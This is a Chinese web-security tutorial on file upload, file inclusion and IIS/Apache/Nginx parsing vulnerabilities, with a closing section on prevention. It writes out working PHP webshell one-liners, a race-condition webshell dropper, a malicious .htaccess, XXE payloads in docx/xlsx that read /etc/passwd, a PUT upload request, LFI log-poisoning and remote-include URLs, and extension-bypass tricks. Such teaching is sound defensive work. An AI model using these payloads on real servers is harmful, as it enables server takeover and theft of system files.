文件上传漏洞
文件上传漏洞是指后端服务器允许前端用户上传文件,但是对文件的名称、后缀、内容、大小等信息没有做过滤和控制,导致攻击者可以上传任意文件到服务器。
影响
1、上传恶意文件:比如上传后缀为.php、.jsp的文件,服务器收到后,对其没有进行校验。访问文件时,直接调用PHP解释器或JSP引擎执行,如果文件内容是可以执行系统命令的代码,攻击者就可以通过该文件获取服务器权限。
2、覆盖关键文件:服务器允许上传相同文件名的文件,如果可以通过目录遍历更改上传路径和位置,则可以覆盖关键文件。
3、DDoS攻击:如果服务器对上传文件的大小没有限制,则可以上传大量超大文件,占用服务器存储空间,消耗服务器带宽,造成DDoS攻击。
漏洞利用
当服务器存在文件上传漏洞时,需要根据具体情况采用合适的利用办法和绕过方式等,如下。
无限制上传WebShell
服务器不管是在前端还是后端,都没有对用户上传的文件做过滤和校验,导致攻击者可以在上传点直接上传webshell到服务器,从而获取服务器控制权。
绕过Centent-Type验证上传WebShell
MIME:定义数据类型,告诉客户端或服务器,数据是什么类型,应该用什么方式处理。
Centent-Type:HTTP协议的一个字段,是MIME在HTTP协议中的应用。
Centent-Type验证属于后端的一个防护,服务器收到请求后,会验证Centent-Type类型是否被允许,如果不允许,则拒绝请求。如下图:
假设服务器只允许Centent-Type类型为image/jpeg,上传test.php,Content-Type类型是application/octet-stream,服务器收到请求后,对Centent-Type进行对比检查,如果不符,拒绝访问。
在实战利用中,可以修改Centent-Type为服务器允许的类型进行绕过,方法有二。
一、前端上传.php文件,对上传请求进行拦截,在请求包中修改Centent-Type。
二、前端上传服务器允许的文件,如.jpg,对上传请求进行拦截,在请求包中修改文件文件后缀及内容。
通过目录遍历上传WebShell
为了让攻击者无法通过上传WebShell获取服务器权限,一般会将上传目录设置为只允许上传静态文件,且没有执行权,文件不允许被当作脚本执行,就算绕过层层防护,把WebShell上传到了服务器,也无法利用。
上传成功后,访问时,会把WebShell内容直接输出,或者是将WebShell下载,而不是调用解释器执行。
遇到这种情况时,就是上传目录没有执行权,要绕过防护执行WebShell,可以通过中间件解析漏洞,或者通过目录遍历,将文件上传到可执行目录中,解析漏洞后面会详细讲,这里主要说一下目录遍历绕过。如下图:
使用../将WebShell上传到上层目录,服务器如果对目录遍历有检测,禁止使用../进行目录遍历,也可以尝试目录遍历绕过,比如将/进行URL编码或其他什么方式。
绕过黑名单上传WebShell
情况一:
为了不让攻击者上传.php、.jsp等后缀的恶意文件,服务器直接将这些后缀列入了黑名单,但是百密一疏,黑名单这种情况总会漏掉一些其他可执行的文件后缀,如下:
php > php3、php5、phtml
jsp > jspx
asp > asa、aspx
如果服务器采用黑名单防护,可以尝试其他后缀代替。
情况二:
关于覆盖服务器配置的情况,服务器怎么去处理文件,以什么方式处理,都是根据配置文件中的配置去执行的,拿Apache服务器举例,Apache的配置文件是/etc/apache2/apache2.conf,如下配置:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
这段配置是告诉服务器,加载php模块,将.php文件交给php解释器处理,那假如要配置上传目录没有执行权限,是不是也要跑到/etc/apache2/apache2.conf下配置呢,其实不用,该配置文件应用于全局,也就是整个服务器,为了一个目录的配置而修改整个服务器的配置是非常不方便的,这时候就用到了.htaccess文件,这是一个只针对于目录的配置文件,不影响全局配置,怎么使用呢,只要在需要单独配置的目录下,创建.htaccess文件即可,立即生效,不需要重启服务器。
如果服务器使用黑名单防护漏掉了.htaccess文件,则可以通过上传该文件修改目录配置或权限,假如上传目录upload没有执行权,那么可以上传以下内容的.htaccess。
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php .jpg .txt
简单理解就是后缀为.php、.jpg、.txt的文件,都交给php解释器执行,不管是图片马还是内容为木马的文本文件,都可以进行利用从而获取服务器权限。
混淆后缀上传WebShell
双写:上传WebShell到服务器后,服务器会把黑名单中的后缀替换为空,也就是去除,顺序是从左到右,且只进行一次操作,通过双写后缀进行绕过,如test.pphphp,经过替换后的文件名为test.php。
大小写:服务器验证文件后缀时,设置为区分大小写,那么就可以对文件后缀进行大小写处理,如.pHp、PhP等,因为只过滤.php,所以经过大小写处理的后缀可以被上传,又因为配置文件处理.php文件时不区分大小写,所以.pHp可以被执行。
多后缀:服务器处理上传文件时,对后缀进行检查,顺序是从后往前,具体来说就是检查从后往前的第一个点(.)第一个点(.)后面的内容就会被识别为后缀,那么webshell文件test.php则可以在后面添加允许的后缀绕过检查,test.php.jpg。也可以只加点(.),test.php.,这样的话后缀实际上就是空,空后缀没有在黑名单中,就可以绕过。
尾部字符:文件上传到服务器后,如果文件名中带空格,服务器会自动去除空格,如果上传时服务器对空格没有过滤,且加空格的后缀也没有在黑名单,就可以通过后缀加空格绕过了。上传到服务器后空格被去除,后缀被还原。
尾部符号绕过还有分号(;)和空字节的URL编码(%00),即代表结束、截断的意思,test.php;.jpg、test.php%00.jpg,上传时服务器检查后缀是.jpg,可以上传没问题,但是在执行时,分号(;)和空字节的URL编码(%00)后面的部分会被忽略,最后识别到的文件就是test.php。但只针对GET请求,如果是POST,则需要拦截请求包,在数据包中修改了,test.php0x00.jpg,0x00是空字节的十六进制编码,实际利用中需要将其替换,而不是直接输入0x00。
URL编码:如果服务器在处理上传文件时,没有解码操作,则可以将点(.)进行URL编码(%2e)绕过,test%2ephp,服务器执行该文件时会进行解码,这时文件名被还原test.php。
这只是混淆文件后缀众多方法中的一小部分。其中双写、大小写、末尾加点(.)加空格和URL编码属于是黑名单绕过范畴,而多后缀、00截断则针对的是白名单防护。
绕过文件内容检查上传WebShell
为了防止攻击者上传包含恶意代码的图片文件,服务器会对上传文件的内容做检查,检查是否具有图片的特征,如文件头的前两个字节是不是图片,内容中有没有图片的尺寸属性等等。
可以制作一个图片马进行绕过,方式如下:
copy test.jpg/b+shell.php shell.jpg
copy:windows系统复制命令。
test.jpg:合法图片文件。
/b:二进制模式,表示复制过程中,合法图片的内容不被修改,原封不动地复制。
+:附加,这里表示把shell.php文件内容附加到test.jpg文件中去。
shell.php:webshell。
shell.jpg:最后生成的图片马文件。
制作方法有很多,这里用的是copy方法,这样制作的图片马可以以图片形式正常打开,只是把webshell文件内容隐藏到了图片内容的末尾。
如果只检查文件头,则可以只修改文件头为合法的即可,如下:
JPG:0xFF 0xD8
PNG:0x89 0x50
GIF:0x47 0x49
修改文件头有很多工具和插件都可以完成,也可以使用Burp拦截上传请求后,在数据包中修改,现在代码前添加两个占位符,选中后修改其十六进制为图片即可,如下图:
条件竞争上传WebShell
现代框架处理上传文件,一般是先放到沙盒目录,比如/upload\_sandbox,用于临时存放文件和隔离上传文件,且没有执行权,文件上传到沙盒目录时还会进行随机改名处理,防止覆盖文件。接下来会检查文件的文件名、文件内容、后缀、魔数等等,如果符合要求判定为安全,才会将文件上传到真实上传目录,比如/upload,如果识别文件是危险的,则会直接删除。
但是,如果没有使用任何框架,而是自定义处理上传的文件,则会出现一种情况,就是上传文件时,没有经过任何过滤就直接存放到了服务器真实上传目录,然后才对其是否合法进行检查,合法保留,不合法删掉,检查时间可能就只有几毫秒,虽然时间很短,但仍然可以通过条件竞争方式上传WebShell。
操作只需要两步:
一、拦截上传请求,对其进行并发,文件后缀为php,内容如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>
fopen('shell.php','w')
:以写的模式打开shell.php,如果文件不存在就新建一个。fputs
:将 <?php @eval($_POST[123])?>
写入shell.php。
如下图:
二、拦截访问请求,对其进行并发,访问的是我们上传的test.php,上传路径可以先上传一张合法图片查看,并发过程和第一步一样,也可以修改线程,提高成功率。
上传test.php到服务器后,服务器并没有及时删除(几毫秒时间),且幸运的被访问到,则执行命令,创建WebShell。
上传其他恶意文件
除了上传WebShell获取服务器权限外,还可以上传其他恶意文件进行攻击,如下情况:
一、服务器允许上传html、svg后缀的文件,则可以构造恶意JS脚本,进行XSS攻击。
二、服务器允许上传docx、xlsx后缀的文件,则可以引入XML外部实体,进行XXE攻击。
docx和xlsx文件都是一个ZIP压缩包,其中包含多个XML文件,可以向XML文件中注入XXEPayload,方法如下:
docx
1、新建docx文件并解压。
2、解压后的文件结构如下图。
word文件夹下有多个XML文件,均可以注入,但推荐修改document.xml。
3、记事本打开文件document.xml进行修改。
4、document.xml原内容如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document>
<w:body>
<w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26">
<w:r>
<w:rPr>
<w:rFonts w:hint="eastAsia"/>
</w:rPr>
<w:t></w:t>
</w:r>
</w:p>
<w:sectPr w:rsidR="007A2F41">
<w:pgSz w:w="11906" w:h="16838"/>
<w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/>
<w:cols w:space="425"/>
<w:docGrid w:type="lines" w:linePitch="312"/>
</w:sectPr>
</w:body>
</w:document>
修改后的内容如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<w:document>
<w:body>
<w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26">
<w:r>
<w:rPr>
<w:rFonts w:hint="eastAsia"/>
</w:rPr>
<w:t>&test;</w:t>
</w:r>
</w:p>
<w:sectPr w:rsidR="007A2F41">
<w:pgSz w:w="11906" w:h="16838"/>
<w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/>
<w:cols w:space="425"/>
<w:docGrid w:type="lines" w:linePitch="312"/>
</w:sectPr>
</w:body>
</w:document>
共对两处进行了修改:
a.定义外部实体test,内容为读取服务器/etc/passwd文件。
b.在<w:t>
标签中引用test实体。
5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为docx。
6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。
xlsx:
大致过程和具体细节和docx相似,但涉及的XML文件不同。
1、新建xlsx文件并解压。
2、解压后的文件结构如下图。
3、记事本打开文件sheet1.xml进行修改,位置:xl > worksheets > sheet1.xml。
4、sheet1.xml原内容如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet>
<dimension ref="A1"/>
<sheetViews>
<sheetView tabSelected="1" workbookViewId="0"/>
</sheetViews>
<sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/>
<sheetData>
<row r="1" spans="1:1" x14ac:dyDescent="0.25">
<c r="A1" t="s">
<v>0</v>
</c>
</row>
</sheetData>
<phoneticPr fontId="1" type="noConversion"/>
<pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
<pageSetup paperSize="9" orientation="portrait" r:id="rId1"/>
</worksheet>
修改后的内容如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<worksheet>
<dimension ref="A1"/>
<sheetViews>
<sheetView tabSelected="1" workbookViewId="0"/>
</sheetViews>
<sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/>
<sheetData>
<row r="1" spans="1:1" x14ac:dyDescent="0.25">
<c r="A1" t="s">
<v>&test;</v>
</c>
</row>
</sheetData>
<phoneticPr fontId="1" type="noConversion"/>
<pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
<pageSetup paperSize="9" orientation="portrait" r:id="rId1"/>
</worksheet>
还是定义了外部实体test并且引用,在<v>
标签中。
5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为xlsx。
6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。
如果服务器允许解析XML外部实体,上传后观察响应,是否返回内容,也不排除盲的情况,可以将定义的外部实体内容修改为自己的dnslog地址进行测试。
使用PUT上传文件
如果服务器允许PUT方法,即使没有上传点,也可以进行文件上传,如下请求:
PUT /images/test.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php @eval($_POST[123]); ?>
可以通过OPTIONS方法向服务器发送预检请求,判断是否允许PUT方法。
文件包含
文件包含漏洞主要出现在PHP开发的Web应用中,在开发的时候,有很多地方会用到相同的代码,每次都重复写一遍太麻烦,为了方便,会使用文件包含函数直接包含代码文件,如果文件包含函数对包含的文件没有进行过滤和校验,就会造成文件包含漏洞。
include():包含文件不存在或出错,程序继续运行。
require():包含文件不存在或出错,程序终止运行。
include_once():如果相同的文件已被包含,不再进行二次包含操作。
require_once():如果相同的文件已被包含,不再进行二次包含操作。
文件包含又分为本地包含(LFI)和远程包含(RFI),包含路径用相对路径或绝对路径都可以,RFI需要PHP配置allow\_url\_include=on。
LFI:https://example.com/index.php?file=../../upload/shell.php
RFI:https://example.com/index.php?file=https://test.com/upload/shell.php
利用文件包含漏洞执行WebShell
在防御文件上传攻击时,服务器使用了白名单校验,但是,如果服务器存在文件包含漏洞的话,攻击者依然可以执行WebShell获取服务器权限。
制作图片马,或其他包含恶意代码的合法文件上传至服务器绕过白名单校验,通过对该文件进行包含,让服务器去执行,PHP在执行include()或require()时,不会验证后缀,只会读取内容,如果是PHP代码,则会使用PHP解释器执行。
通过写入日志执行WebShell
服务器使用了更强大的防护机制,不仅检查文件后缀,还对文件内容进行了严格校验,只要包含恶意代码,一律拒绝上传,这样的话就无法通过上传方式执行WebShell获取服务器权限了,但是,如果服务器存在文件包含漏洞,可以直接包含恶意代码,将代码写入日志文件,再包含日志文件执行WebShell。
https://example.com/index.php?file=<?php @eval($_POST[123]); ?>
如果在浏览器包含执行,浏览器会把特殊符号进行URL编码,可以通过Burp发送。
400的原因是包含的文件不存在,查看日志文件,木马成功写入。
再包含日志文件就可以执行WebShell了,默认访问日志文件路径参考:
nginx:
/var/log/nginx/access.log
apache:
/var/log/apache2/access.log
/var/log/httpd/access_log
解析漏洞
从客户端发送请求,到数据库收到请求,这中间经过的程序都叫中间件,而解析漏洞主要说的是Web服务应用程序,也就是IIS、Apache、Nginx等等,这里就先简单讲一下关于这三个中间件的解析漏洞。
IIS
IIS分低版本(IIS 5.x-IIS 6.x)和高版本(IIS 7.x及以上),低版本只能解析asp的WebShell。方法如下:
目录解析:
服务器会把后缀为.asp文件夹下的文件,都按asp文件解析执行,如下:
https://example.com/upload/test.asp/test.jpg
如果上传路径可控,可以添加一个以.asp为后缀的文件夹,把图片马放到该目录下上传,访问执行WebShell。
文件解析:
之前将混淆后缀的时候讲到过,就是在后缀后面加个分号(;)在跟一个合法后缀,如下:
https://example.com/upload/test.asp;.jpg
解析的时候分号(;)代表结束,所以后面的内容不会解析,解析文件就成了test.asp。
格式解析:
有些后缀服务器也会当作asp解析,比如.asa、cer、cdx等等,具体可以查看ISAPI扩展。
https://example.com/upload/test.cer
IIS7.x版本也存在解析漏洞,跟Nginx的解析漏洞一样, 这就不讲了,统一在Nginx解析漏洞中讲。
Apache
解析顺序:
Apache服务器解释的时候顺序是从右往左,如果添加服务器无法识别的后缀会发生什么呢,如下:
https://example.com/upload/test.php.aaa.bbb
假如往服务器上传了一个test.php.aaa.bbb文件,正常情况下肯定是访问失败,但是Apache低版本(Apache2.2及以下)是可以正常解析的,访问执行时,服务器从右往左开始解析后缀,如果无法解析,就会继续向左解析,直到碰到可以解析的后缀,那么test.php.aaa.bbb文件最后就会被解析成test.php。
配置文件:
上面也提到过,就是AddType application/x-httpd-php配置,该配置的意思是什么后缀会被当成php代码解析,如果配置不当,将一些合法后缀添加到该配置项,就会被攻击者利用,造成安全问题,如下:
AddType application/x-httpd-php .php .jpg .txt
Nginx
跟php和nginx的配置有关,先看一下正常情况,向服务器上传图片马绕过白名单校验。
https://example.com/upload/test.jpg
在图片马后添加一个不存在的php文件,如下:
https://example.com/upload/test.jpg/123.php
正常肯定返回404页面不存在,但是如果nginx错误配置try\_files,收到请求后,不会去检查文件是否存在,而是看是什么类型的文件,如果是php,直接交给php解释器去执行,php配置cgi.fix\_pathinfo,默认值为1,表示开启,0是关闭,正常情况,php解释器会检查123.php是否存在,如果不存则响应404,但是使用cgi.fix\_pathinfo配置后,如果123.php不存在,则会检查上一层目录是否存在,以此类推,检查到test.jpg时,发现test.jpg存在,php解释器就会把test.jpg当作php解析执行。
所以测试的时候,在图片马后加一个不存在的php文件判断就行了。
绕过
文件上传漏洞绕过总结,如下图:
预防攻击
可以借鉴以下方式对文件上传漏洞进行防御和修复。
白名单校验
对文件后缀进行白名单校验,只允许上传白名单中被允许后缀的文件,例如只允许上传.jpg、.png类型文件。同时对MIME类型进行检查。
检查文件内容
对上传文件的内容进行严格检查,如果存在恶意代码,拒绝上传,检查文件名,防止覆盖文件,或者对上传到服务器的文件进行修改随即名处理。
上传目录权限
设置上传目录为只允许上传静态文件,避免上传目录拥有执行权,防止攻击者绕过防护上传WebShell到服务器执行。
使用安全框架
尽量使用安全的框架处理文件上传,如果使用自定义,请做好安全防护。
安全的中间件
使用最新版本的中间件,及时更新,正确配置,避免攻击者利用中间件解析漏洞进行文件上传漏洞利用。
总结
如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!